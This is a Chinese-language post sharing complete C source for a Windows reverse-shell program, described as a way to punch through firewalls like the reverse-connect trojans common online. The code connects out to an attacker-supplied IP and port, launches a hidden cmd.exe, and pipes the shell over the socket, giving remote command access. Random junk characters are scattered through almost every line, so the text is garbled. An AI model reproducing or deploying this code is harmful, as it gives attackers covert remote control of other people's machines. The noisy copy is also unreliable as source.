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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [<6ez;2q'  
" @.hz@>  
/* ============================== r"^P>8  
Rebound port in Windows NT i9$ -lk  
By wind,2006/7 B \BP:;"  
===============================*/ yYF%U7N/n  
#include I~EJctOG  
#include /:l>yKI+~  
a&9+<  
#pragma comment(lib,"wsock32.lib") -K PbA`j+  
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void OutputShell(); lRn>/7sg$  
SOCKET sClient; b16\2%Ea1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zK?[6n89f  
kz]qk15w  
void main(int argc,char **argv) (;\JCeGA  
{  6~j6M4*  
WSADATA stWsaData; Iq(BH^K  
int nRet; 5@+4>[tw  
SOCKADDR_IN stSaiClient,stSaiServer; rqSeh/<iD  
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if(argc != 3) PU[] Nw  
{ 3 (jI  
printf("Useage:\n\rRebound DestIP DestPort\n"); cJGU~\  
return; 4; y*y tY*  
} J&2cf#  
@}qMI   
WSAStartup(MAKEWORD(2,2),&stWsaData); rM Un ~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K '7M\:zy  
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stSaiClient.sin_family = AF_INET; B/AS|i] sM  
stSaiClient.sin_port = htons(0); >,7 -cm=.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,x&T8o/a  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [Q6PFdQ_JT  
{ VI/77  
printf("Bind Socket Failed!\n"); $zKf>[K  
return; qJj"WU5  
} 6;Wns'  
b dP @^Q  
stSaiServer.sin_family = AF_INET; a/ ^ojn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3P N<J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Bz!SZpW(M  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y38x^fuYJ~  
{ ?t46TV'G  
printf("Connect Error!"); 7M7sq-n5z  
return; LB$#] Z  
} Z7J8%ywQ  
OutputShell(); K+p7yZJ  
} f@rR2xZoQ  
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void OutputShell() LR%]4$ /M  
{ k> SPtiAs  
char szBuff[1024]; !59u z4  
SECURITY_ATTRIBUTES stSecurityAttributes; =~yRgGwJ  
OSVERSIONINFO stOsversionInfo; lf-1;6nyk"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y<|8OTT  
STARTUPINFO stStartupInfo; 9#cPEbb~  
char *szShell; ,%6!8vX  
PROCESS_INFORMATION stProcessInformation; {el,CT#  
unsigned long lBytesRead; Tmjcc(  
h6`v%7H?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]O]6O%.ao  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WCRGqSr4  
stSecurityAttributes.lpSecurityDescriptor = 0; +`=rzL"0I7  
stSecurityAttributes.bInheritHandle = TRUE; ~+ [T{{  
1L3 +KD~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oR[-F+__  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yI$KBx/]n  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3:qn\"Hj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 29z$z$l4  
stStartupInfo.wShowWindow = SW_HIDE; E&G]R!  
stStartupInfo.hStdInput = hReadPipe; dT?mMTKn+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "!,)Pv  
#|-i*2@oR  
GetVersionEx(&stOsversionInfo); A s"% u  
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switch(stOsversionInfo.dwPlatformId) [SJ3FZ<  
{ l_$ le  
case 1: 8GlRO4yd  
szShell = "command.com"; VRE[ vM'  
break; v-(dh5e` H  
default: PJ -g.0q  
szShell = "cmd.exe"; uidoz f2}  
break; n~_;tO  
} 6 H{G$[2  
CT{mzC8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gUGMoXSTI|  
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send(sClient,szMsg,77,0); o*_arzhA  
while(1) Be;l!]i  
{ Y+)qb);  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 40=*Ul U-  
if(lBytesRead) (! a;}V<7  
{ =W[M=_0u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i4Da'Uk  
send(sClient,szBuff,lBytesRead,0); 5D+rR<pD}"  
} aO &!Y\=@  
else Kt3T~k  
{ #u"$\[G  
lBytesRead=recv(sClient,szBuff,1024,0); bUU\bc  
if(lBytesRead<=0) break; ,8@q2a/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yU|=)p5  
} Lrjp  
} pN=>q <]L  
p54 e'Zb  
return; ^UmhSxQ##  
}
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